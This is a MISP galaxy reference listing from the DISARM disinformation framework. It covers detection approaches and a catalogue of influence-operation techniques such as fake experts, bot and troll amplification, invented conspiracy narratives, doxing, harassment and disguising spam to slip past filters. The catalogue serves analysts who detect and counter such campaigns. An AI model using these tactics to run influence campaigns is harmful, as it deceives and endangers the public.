Control the US "slang" translation boards

The tag is: *misp-galaxy:disarm-detections="Control the US "slang" translation boards"*

Table 1250. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00082.md

Build and own meme generator, then track and watermark contents

The tag is: *misp-galaxy:disarm-detections="Build and own meme generator, then track and watermark contents"*

Table 1251. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00083.md

Track individual bad actors

The tag is: *misp-galaxy:disarm-detections="Track individual bad actors"*

Table 1252. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00084.md

detection of a weak signal through global noise

Grey zone threats are challenging given that warning requires detection of a weak signal through global noise and across threat vectors and regional boundaries.Three interconnected grey zone elements characterise the nature of the activity: Temporality: The nature of grey zone threats truly requires a “big picture view” over long timescales and across regions and functional topics. Attribution: requiring an “almost certain” or “nearly certain analytic assessment before acting costs time and analytic effort Intent: judgement of adversarial intent to conduct grey zone activity. Indeed, the purpose of countering grey zone threats is to deter adversaries from fulfilling their intent to act. While attribution is one piece of the puzzle, closing the space around intent often means synthesising multiple relevant indicators and warnings, including the state’s geopolitical ambitions, military ties, trade and investment, level of corruption, and media landscape, among others.

The tag is: *misp-galaxy:disarm-detections="detection of a weak signal through global noise"*

Table 1253. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00085.md

Outpace Competitor Intelligence Capabilities

Develop an intelligence-based understanding of foreign actors’ motivations, psychologies, and

societal and geopolitical contexts. Leverage artificial intelligence to identify patterns and infer competitors' intent

The tag is: *misp-galaxy:disarm-detections="Outpace Competitor Intelligence Capabilities"*

Table 1254. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00086.md

Improve Indications and Warning

United States has not adequately adapted its information indicators and thresholds for warning policymakers to account for grey zone tactics. Competitors have undertaken a marked shift to slow-burn, deceptive, non-military, and indirect challenges to U.S. interests. Relative to traditional security indicators and warnings, these are more numerous and harder to detect and make it difficult for analysts to infer intent.

The tag is: *misp-galaxy:disarm-detections="Improve Indications and Warning"*

Table 1255. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00087.md

Revitalise an "active measures working group,"

Recognise campaigns from weak signals, including rivals' intent, capability, impact, interactive effects, and impact on U.S. interests… focus on adversarial covert action aspects of campaigning.

The tag is: *misp-galaxy:disarm-detections="Revitalise an "active measures working group,""*

Table 1256. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00088.md

target/name/flag "grey zone" website content

"Grey zone" is second level of content producers and circulators, composed of outlets with uncertain attribution. This category covers conspiracy websites, far-right or far-left websites, news aggregators, and data dump websites

The tag is: *misp-galaxy:disarm-detections="target/name/flag "grey zone" website content"*

Table 1257. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00089.md

Match Punitive Tools with Third-Party Inducements

Bring private sector and civil society into accord on U.S. interests

The tag is: *misp-galaxy:disarm-detections="Match Punitive Tools with Third-Party Inducements"*

Table 1258. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00090.md

Partner to develop analytic methods & tools

This might include working with relevant technology firms to ensure that contracted analytic support is available. Contracted support is reportedly valuable because technology to monitor social media data is continually evolving, and such firms can provide the expertise to help identify and analyse trends, and they can more effectively stay abreast of the changing systems and develop new models as they are required

The tag is: *misp-galaxy:disarm-detections="Partner to develop analytic methods & tools"*

Table 1259. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00091.md

daylight

Warn social media companies about an ongoing campaign (e.g. antivax sites). Anyone with datasets or data summaries can help with this

The tag is: *misp-galaxy:disarm-detections="daylight"*

Table 1260. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00092.md

S4d detection and re-allocation approaches

S4D is a way to separate out different speakers in text, audio.

The tag is: *misp-galaxy:disarm-detections="S4d detection and re-allocation approaches"*

Table 1261. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00093.md

Registries alert when large batches of newsy URLs get registered together

The tag is: *misp-galaxy:disarm-detections="Registries alert when large batches of newsy URLs get registered together"*

Table 1262. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00094.md

Fact checking

Process suspicious artefacts, narratives, and incidents

The tag is: *misp-galaxy:disarm-detections="Fact checking"*

Table 1263. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00095.md

Techniques

DISARM is a framework designed for describing and understanding disinformation incidents..

Techniques is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

DISARM Project

Facilitate State Propaganda

Organise citizens around pro-state messaging. Coordinate paid or volunteer groups to push state propaganda.

The tag is: *misp-galaxy:disarm-techniques="Facilitate State Propaganda"*

Table 1264. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0002.md

Leverage Existing Narratives

Use or adapt existing narrative themes, where narratives are the baseline stories of a target audience. Narratives form the bedrock of our worldviews. New information is understood through a process firmly grounded in this bedrock. If new information is not consitent with the prevailing narratives of an audience, it will be ignored. Effective campaigns will frame their misinformation in the context of these narratives. Highly effective campaigns will make extensive use of audience-appropriate archetypes and meta-narratives throughout their content creation and amplifiction practices.

The tag is: *misp-galaxy:disarm-techniques="Leverage Existing Narratives"*

Table 1265. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0003.md

Develop Competing Narratives

Advance competing narratives connected to same issue ie: on one hand deny incident while at same time expresses dismiss. Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centred on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on. These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the "firehose of misinformation" approach.

The tag is: *misp-galaxy:disarm-techniques="Develop Competing Narratives"*

Table 1266. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0004.md

Create Inauthentic Social Media Pages and Groups

Create key social engineering assets needed to amplify content, manipulate algorithms, fool public and/or specific incident/campaign targets. Computational propaganda depends substantially on false perceptions of credibility and acceptance. By creating fake users and groups with a variety of interests and commitments, attackers can ensure that their messages both come from trusted sources and appear more widely adopted than they actually are.

The tag is: *misp-galaxy:disarm-techniques="Create Inauthentic Social Media Pages and Groups"*

Table 1267. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0007.md

Create Fake Experts

Stories planted or promoted in computational propaganda operations often make use of experts fabricated from whole cloth, sometimes specifically for the story itself.

The tag is: *misp-galaxy:disarm-techniques="Create Fake Experts"*

Table 1268. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0009.md

Utilise Academic/Pseudoscientific Justifications

Utilise Academic/Pseudoscientific Justifications

The tag is: *misp-galaxy:disarm-techniques="Utilise Academic/Pseudoscientific Justifications"*

Table 1269. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0009.001.md

Cultivate Ignorant Agents

Cultivate propagandists for a cause, the goals of which are not fully comprehended, and who are used cynically by the leaders of the cause. Independent actors use social media and specialised web

sites to strategically reinforce and spread messages compatible with their own. Their networks are infiltrated and used by state media disinformation organisations to amplify the state's own disinformation strategies against target populations. Many are traffickers in conspiracy theories or hoaxes, unified by a suspicion of Western governments and mainstream media. Their narratives, which appeal to leftists hostile to globalism and military intervention and nationalists against immigration, are frequently infiltrated and shaped by state-controlled trolls and altered news items from agencies such as RT and Sputnik. Also know as "useful idiots" or "unwitting agents".

The tag is: *misp-galaxy:disarm-techniques="Cultivate Ignorant Agents"*

Table 1270. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0010.md

Create Inauthentic Websites

Create media assets to support inauthentic organisations (e.g. think tank), people (e.g. experts) and/or serve as sites to distribute malware/launch phishing operations.

The tag is: *misp-galaxy:disarm-techniques="Create Inauthentic Websites"*

Table 1271. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0013.md

Prepare Fundraising Campaigns

Fundraising campaigns refer to an influence operation's systematic effort to seek financial support for a charity, cause, or other enterprise using online activities that further promote operation information pathways while raising a profit. Many influence operations have engaged in crowdfunding services on platforms including Tipee, Patreon, and GoFundMe. An operation may use its previously prepared fundraising campaigns (see: Develop Information Pathways) to promote operation messaging while raising money to support its activities.

The tag is: *misp-galaxy:disarm-techniques="Prepare Fundraising Campaigns"*

Table 1272. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0014.md

Raise Funds from Malign Actors

Raising funds from malign actors may include contributions from foreign agents, cutouts or proxies, shell companies, dark money groups, etc.

The tag is: *misp-galaxy:disarm-techniques="Raise Funds from Malign Actors"*

Table 1273. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0014.001.md

Raise Funds from Ignorant Agents

Raising funds from ignorant agents may include scams, donations intended for one stated purpose but then used for another, etc.

The tag is: *misp-galaxy:disarm-techniques="Raise Funds from Ignorant Agents"*

Table 1274. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0014.002.md

Create Hashtags and Search Artefacts

Create one or more hashtags and/or hashtag groups. Many incident-based campaigns will create hashtags to promote their fabricated event. Creating a hashtag for an incident can have two important effects: 1. Create a perception of reality around an event. Certainly only "real" events would be discussed in a hashtag. After all, the event has a name!, and 2. Publicise the story more widely through trending lists and search behaviour. Asset needed to direct/control/manage "conversation" connected to launching new incident/campaign with new hashtag for applicable social media sites).

The tag is: *misp-galaxy:disarm-techniques="Create Hashtags and Search Artefacts"*

Table 1275. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0015.md

Create Clickbait

Create attention grabbing headlines (outrage, doubt, humour) required to drive traffic & engagement. This is a key asset.

The tag is: *misp-galaxy:disarm-techniques="Create Clickbait"*

Table 1276. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0016.md

Conduct Fundraising

Fundraising campaigns refer to an influence operation's systematic effort to seek financial support for a charity, cause, or other enterprise using online activities that further promote operation information pathways while raising a profit. Many influence operations have engaged in crowdfunding services166 on platforms including Tipee, Patreon, and GoFundMe. An operation may use its previously prepared fundraising campaigns to promote operation messaging while raising money to support its activities.

The tag is: *misp-galaxy:disarm-techniques="Conduct Fundraising"*

Table 1277. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0017.md

Conduct Crowdfunding Campaigns

An influence operation may Conduct Crowdfunding Campaigns on platforms such as GoFundMe, GiveSendGo, Tipeee, Patreon, etc.

The tag is: *misp-galaxy:disarm-techniques="Conduct Crowdfunding Campaigns"*

Table 1278. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0017.001.md

Purchase Targeted Advertisements

Create or fund advertisements targeted at specific populations

The tag is: *misp-galaxy:disarm-techniques="Purchase Targeted Advertisements"*

Table 1279. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0018.md

Trial Content

Iteratively test incident performance (messages, content etc), e.g. A/B test headline/content enagagement metrics; website and/or funding campaign conversion rates

The tag is: *misp-galaxy:disarm-techniques="Trial Content"*

Table 1280. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0020.md

Leverage Conspiracy Theory Narratives

"Conspiracy narratives" appeal to the human desire for explanatory order, by invoking the participation of poweful (often sinister) actors in pursuit of their own political goals. These narratives are especially appealing when an audience is low-information, marginalised or otherwise inclined to reject the prevailing explanation. Conspiracy narratives are an important component of the "firehose of falsehoods" model.

The tag is: *misp-galaxy:disarm-techniques="Leverage Conspiracy Theory Narratives"*

Table 1281. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0022.md

Amplify Existing Conspiracy Theory Narratives

An influence operation may amplify an existing conspiracy theory narrative that aligns with its incident or campaign goals. By amplifying existing conspiracy theory narratives, operators can leverage the power of the existing communities that support and propagate those theories without needing to expend resources creating new narratives or building momentum and buy in around new narratives.

The tag is: *misp-galaxy:disarm-techniques="Amplify Existing Conspiracy Theory Narratives"*

Table 1282. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0022.001.md

Develop Original Conspiracy Theory Narratives

While this requires more resources than amplifying existing conspiracy theory narratives, an influence operation may develop original conspiracy theory narratives in order to achieve greater control and alignment over the narrative and their campaign goals. Prominent examples include the USSR's Operation INFEKTION disinformation campaign run by the KGB in the 1980s to plant the idea that the United States had invented HIV/AIDS as part of a biological weapons research project at Fort Detrick, Maryland. More recently, Fort Detrick featured prominently in a new conspiracy theory narratives around the origins of the COVID-19 outbreak and pandemic.

The tag is: *misp-galaxy:disarm-techniques="Develop Original Conspiracy Theory Narratives"*

Table 1283. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0022.002.md

Distort Facts

Change, twist, or exaggerate existing facts to construct a narrative that differs from reality. Examples: images and ideas can be distorted by being placed in an improper content

The tag is: *misp-galaxy:disarm-techniques="Distort Facts"*

Table 1284. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0023.md

Reframe Context

Reframing context refers to removing an event from its surrounding context to distort its intended meaning. Rather than deny that an event occurred, reframing context frames an event in a manner that may lead the target audience to draw a different conclusion about its intentions.

The tag is: *misp-galaxy:disarm-techniques="Reframe Context"*

Table 1285. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0023.001.md

Edit Open-Source Content

An influence operation may edit open-source content, such as collaborative blogs or

encyclopaedias, to promote its narratives on outlets with existing credibility and audiences. Editing open-source content may allow an operation to post content on platforms without dedicating resources to the creation and maintenance of its own assets.

The tag is: *misp-galaxy:disarm-techniques="Edit Open-Source Content"*

Table 1286. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0023.002.md

Online Polls

Create fake online polls, or manipulate existing online polls. Data gathering tactic to target those who engage, and potentially their networks of friends/followers as well

The tag is: *misp-galaxy:disarm-techniques="Online Polls"*

Table 1287. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0029.md

Bait Influencer

Influencers are people on social media platforms who have large audiences.

Threat Actors can try to trick Influencers such as celebrities, journalists, or local leaders who aren't associated with their campaign into amplifying campaign content. This gives them access to the Influencer's audience without having to go through the effort of building it themselves, and it helps legitimise their message by associating it with the Influencer, benefitting from their audience's trust in them.

The tag is: *misp-galaxy:disarm-techniques="Bait Influencer"*

Table 1288. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0039.md

Demand Insurmountable Proof

Campaigns often leverage tactical and informational asymmetries on the threat surface, as seen in the Distort and Deny strategies, and the "firehose of misinformation". Specifically, conspiracy theorists can be repeatedly wrong, but advocates of the truth need to be perfect. By constantly

escalating demands for proof, propagandists can effectively leverage this asymmetry while also priming its future use, often with an even greater asymmetric advantage. The conspiracist is offered freer rein for a broader range of "questions" while the truth teller is burdened with higher and higher standards of proof.

The tag is: *misp-galaxy:disarm-techniques="Demand Insurmountable Proof"*

Table 1289. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0040.md

Seed Kernel of Truth

Wrap lies or altered context/facts around truths. Influence campaigns pursue a variety of objectives with respect to target audiences, prominent among them: 1. undermine a narrative commonly referenced in the target audience; or 2. promote a narrative less common in the target audience, but preferred by the attacker. In both cases, the attacker is presented with a heavy lift. They must change the relative importance of various narratives in the interpretation of events, despite contrary tendencies. When messaging makes use of factual reporting to promote these adjustments in the narrative space, they are less likely to be dismissed out of hand; when messaging can juxtapose a (factual) truth about current affairs with the (abstract) truth explicated in these narratives, propagandists can undermine or promote them selectively. Context matters.

The tag is: *misp-galaxy:disarm-techniques="Seed Kernel of Truth"*

Table 1290. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0042.md

Chat Apps

Direct messaging via chat app is an increasing method of delivery. These messages are often automated and new delivery and storage methods make them anonymous, viral, and ephemeral. This is a difficult space to monitor, but also a difficult space to build acclaim or notoriety.

The tag is: *misp-galaxy:disarm-techniques="Chat Apps"*

Table 1291. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0043.md

Use Encrypted Chat Apps

Examples include Signal, WhatsApp, Discord, Wire, etc.

The tag is: *misp-galaxy:disarm-techniques="Use Encrypted Chat Apps"*

Table 1292. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0043.001.md

Use Unencrypted Chats Apps

Examples include SMS, etc.

The tag is: *misp-galaxy:disarm-techniques="Use Unencrypted Chats Apps"*

Table 1293. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0043.002.md

Seed Distortions

Try a wide variety of messages in the early hours surrounding an incident or event, to give a misleading account or impression.

The tag is: *misp-galaxy:disarm-techniques="Seed Distortions"*

Table 1294. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0044.md

Use Fake Experts

Use the fake experts that were set up during Establish Legitimacy. Pseudo-experts are disposable assets that often appear once and then disappear. Give "credility" to misinformation. Take advantage of credential bias

The tag is: *misp-galaxy:disarm-techniques="Use Fake Experts"*

Table 1295. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0045.md

Use Search Engine Optimisation

Manipulate content engagement metrics (ie: Reddit & Twitter) to influence/impact news search results (e.g. Google), also elevates RT & Sputnik headline into Google news alert emails. aka "Black-hat SEO"

The tag is: *misp-galaxy:disarm-techniques="Use Search Engine Optimisation"*

Table 1296. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0046.md

Censor Social Media as a Political Force

Use political influence or the power of state to stop critical social media comments. Government requested/driven content take downs (see Google Transperancy reports).

The tag is: *misp-galaxy:disarm-techniques="Censor Social Media as a Political Force"*

Table 1297. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0047.md

Harass

Threatening or harassing believers of opposing narratives refers to the use of intimidation techniques, including cyberbullying and doxing, to discourage opponents from voicing their dissent. An influence operation may threaten or harass believers of the opposing narratives to deter individuals from posting or proliferating conflicting content.

The tag is: *misp-galaxy:disarm-techniques="Harass"*

Table 1298. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0048.md

Boycott/"Cancel" Opponents

Cancel culture refers to the phenomenon in which individuals collectively refrain from supporting an individual, organisation, business, or other entity, usually following a real or falsified controversy. An influence operation may exploit cancel culture by emphasising an adversary's problematic or disputed behaviour and presenting its own content as an alternative.

The tag is: *misp-galaxy:disarm-techniques="Boycott/"Cancel" Opponents"*

Table 1299. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0048.001.md

Harass People Based on Identities

Examples include social identities like gender, sexuality, race, ethnicity, religion, ability, nationality, etc. as well as roles and occupations like journalist or activist.

The tag is: *misp-galaxy:disarm-techniques="Harass People Based on Identities"*

Table 1300. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0048.002.md

Threaten to Dox

Doxing refers to online harassment in which individuals publicly release private information about another individual, including names, addresses, employment information, pictures, family members, and other sensitive information. An influence operation may dox its opposition to encourage individuals aligned with operation narratives to harass the doxed individuals themselves or otherwise discourage the doxed individuals from posting or proliferating conflicting content.

The tag is: *misp-galaxy:disarm-techniques="Threaten to Dox"*

Table 1301. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0048.003.md

Dox

Doxing refers to online harassment in which individuals publicly release private information about

another individual, including names, addresses, employment information, pictures, family members, and other sensitive information. An influence operation may dox its opposition to encourage individuals aligned with operation narratives to harass the doxed individuals themselves or otherwise discourage the doxed individuals from posting or proliferating conflicting content.

The tag is: *misp-galaxy:disarm-techniques="Dox"*

Table 1302. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0048.004.md

Flood Information Space

Flooding sources of information (e.g. Social Media feeds) with a high volume of inauthentic content.

This can be done to control/shape online conversations, drown out opposing points of view, or make it harder to find legitimate information.

Bots and/or patriotic trolls are effective tools to achieve this effect.

This Technique previously used the name Flooding the Information Space.

The tag is: *misp-galaxy:disarm-techniques="Flood Information Space"*

Table 1303. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0049.md

Trolls Amplify and Manipulate

Use trolls to amplify narratives and/or manipulate narratives. Fake profiles/sockpuppets operating to support individuals/narratives from the entire political spectrum (left/right binary). Operating with increased emphasis on promoting local content and promoting real Twitter users generating their own, often divisive political content, as it's easier to amplify existing content than create new/original content. Trolls operate where ever there's a socially divisive issue (issues that can/are be politicized).

The tag is: *misp-galaxy:disarm-techniques="Trolls Amplify and Manipulate"*

Table 1304. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0049.001.md

Flood Existing Hashtag

Hashtags can be used by communities to collate information they post about particular topics (such as their interests, or current events) and users can find communities to join by exploring hashtags they're interested in.

Threat actors can flood an existing hashtag to try to ruin hashtag functionality, posting content unrelated to the hashtag alongside it, making it a less reliable source of relevant information. They may also try to flood existing hashtags with campaign content, with the intent of maximising exposure to users.

This Technique covers cases where threat actors flood existing hashtags with campaign content.

This Technique covers behaviours previously documented by T0019.002: Hijack Hashtags, which has since been deprecated. This Technique was previously called Hijack Existing Hashtag.

The tag is: *misp-galaxy:disarm-techniques="Flood Existing Hashtag"*

Table 1305. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0049.002.md

Bots Amplify via Automated Forwarding and Reposting

Automated forwarding and reposting refer to the proliferation of operation content using automated means, such as artificial intelligence or social media bots. An influence operation may use automated activity to increase content exposure without dedicating the resources, including personnel and time, traditionally required to forward and repost content. Use bots to amplify narratives above algorithm thresholds. Bots are automated/programmed profiles designed to amplify content (ie: automatically retweet or like) and give appearance it's more "popular" than it is. They can operate as a network, to function in a coordinated/orchestrated manner. In some cases (more so now) they are an inexpensive/disposable assets used for minimal deployment as bot detection tools improve and platforms are more responsive.

The tag is: *misp-galaxy:disarm-techniques="Bots Amplify via Automated Forwarding and Reposting"*

Table 1306. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0049.003.md

Utilise Spamoflauge

Spamoflauge refers to the practice of disguising spam messages as legitimate. Spam refers to the

use of electronic messaging systems to send out unrequested or unwanted messages in bulk. Simple methods of spamoflauge include replacing letters with numbers to fool keyword-based email spam filters, for example, "you've w0n our jackp0t!". Spamoflauge may extend to more complex techniques such as modifying the grammar or word choice of the language, casting messages as images which spam detectors cannot automatically read, or encapsulating messages in password protected attachments, such as .pdf or .zip files. Influence operations may use spamoflauge to avoid spam filtering systems and increase the likelihood of the target audience receiving operation messaging.

The tag is: *misp-galaxy:disarm-techniques="Utilise Spamoflauge"*

Table 1307. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0049.004.md

Conduct Swarming

Swarming refers to the coordinated use of accounts to overwhelm the information space with operation content. Unlike information flooding, swarming centres exclusively around a specific event or actor rather than a general narrative. Swarming relies on "horizontal communication" between information assets rather than a top-down, vertical command-and-control approach.

The tag is: *misp-galaxy:disarm-techniques="Conduct Swarming"*

Table 1308. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0049.005.md

Conduct Keyword Squatting

Keyword squatting refers to the creation of online content, such as websites, articles, or social media accounts, around a specific search engine-optimized term to overwhelm the search results of that term. An influence may keyword squat to increase content exposure to target audience members who query the exploited term in a search engine and manipulate the narrative around the term.

The tag is: *misp-galaxy:disarm-techniques="Conduct Keyword Squatting"*

Table 1309. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0049.006.md

Inauthentic Sites Amplify News and Narratives

Inauthentic sites circulate cross-post stories and amplify narratives. Often these sites have no masthead, bylines or attribution.

The tag is: *misp-galaxy:disarm-techniques="Inauthentic Sites Amplify News and Narratives"*

Table 1310. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0049.007.md

Generate Information Pollution

Information Pollution occurs when threat actors attempt to ruin a source of information by flooding it with lots of inauthentic or unreliable content, intending to make it harder for legitimate users to find the information they're looking for.

This subtechnique's objective is to reduce exposure to target information, rather than promoting exposure to campaign content, for which the parent technique T0049 can be used.

Analysts will need to infer what the motive for flooding an information space was when deciding whether to use T0049 or T0049.008 to tag a case when an information space is flooded. If such inference is not possible, default to T0049.

This Technique previously used the ID T0019.

The tag is: *misp-galaxy:disarm-techniques="Generate Information Pollution"*

Table 1311. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0049.008.md

Organise Events

Coordinate and promote real-world events across media platforms, e.g. rallies, protests, gatherings in support of incident narratives.

The tag is: *misp-galaxy:disarm-techniques="Organise Events"*

Table 1312. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0057.md

Pay for Physical Action

Paying for physical action occurs when an influence operation pays individuals to act in the physical realm. An influence operation may pay for physical action to create specific situations and frame them in a way that supports operation narratives, for example, paying a group of people to burn a car to later post an image of the burning car and frame it as an act of protest.

The tag is: *misp-galaxy:disarm-techniques="Pay for Physical Action"*

Table 1313. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0057.001.md

Conduct Symbolic Action

Symbolic action refers to activities specifically intended to advance an operation's narrative by signalling something to the audience, for example, a military parade supporting a state's narrative of military superiority. An influence operation may use symbolic action to create falsified evidence supporting operation narratives in the physical information space.

The tag is: *misp-galaxy:disarm-techniques="Conduct Symbolic Action"*

Table 1314. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0057.002.md

Play the Long Game

Play the long game refers to two phenomena: 1. To plan messaging and allow it to grow organically without conducting your own amplification. This is methodical and slow and requires years for the message to take hold 2. To develop a series of seemingly disconnected messaging narratives that eventually combine into a new narrative.

The tag is: *misp-galaxy:disarm-techniques="Play the Long Game"*

Table 1315. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0059.md

Continue to Amplify

continue narrative or message amplification after the main incident work has finished

The tag is: *misp-galaxy:disarm-techniques="Continue to Amplify"*

Table 1316. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0060.md

Sell Merchandise

Sell mechandise refers to getting the message or narrative into physical space in the offline world while making money

The tag is: *misp-galaxy:disarm-techniques="Sell Merchandise"*

Table 1317. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0061.md

Prepare Physical Broadcast Capabilities

Create or coopt broadcast capabilities (e.g. TV, radio etc).

The tag is: *misp-galaxy:disarm-techniques="Prepare Physical Broadcast Capabilities"*

Table 1318. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0065.md

Degrade Adversary

Plan to degrade an adversary's image or ability to act. This could include preparation and use of harmful information about the adversary's actions or reputation.

The tag is: *misp-galaxy:disarm-techniques="Degrade Adversary"*

Table 1319. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0066.md

Respond to Breaking News Event or Active Crisis

Media attention on a story or event is heightened during a breaking news event, where unclear facts and incomplete information increase speculation, rumours, and conspiracy theories, which are all vulnerable to manipulation.

The tag is: *misp-galaxy:disarm-techniques="Respond to Breaking News Event or Active Crisis"*

Table 1320. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0068.md

Segment Audiences

Create audience segmentations by features of interest to the influence campaign, including political affiliation, geographic location, income, demographics, and psychographics.

The tag is: *misp-galaxy:disarm-techniques="Segment Audiences"*

Table 1321. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0072.md

Geographic Segmentation

An influence operation may target populations in a specific geographic location, such as a region, state, or city. An influence operation may use geographic segmentation to Create Localised Content (see: Establish Legitimacy).

The tag is: *misp-galaxy:disarm-techniques="Geographic Segmentation"*

Table 1322. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0072.001.md

Demographic Segmentation

An influence operation may target populations based on demographic segmentation, including age, gender, and income. Demographic segmentation may be useful for influence operations aiming to change state policies that affect a specific population sector. For example, an influence operation attempting to influence Medicare funding in the United States would likely target U.S. voters over 65 years of age.

The tag is: *misp-galaxy:disarm-techniques="Demographic Segmentation"*

Table 1323. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0072.002.md

Economic Segmentation

An influence operation may target populations based on their income bracket, wealth, or other financial or economic division.

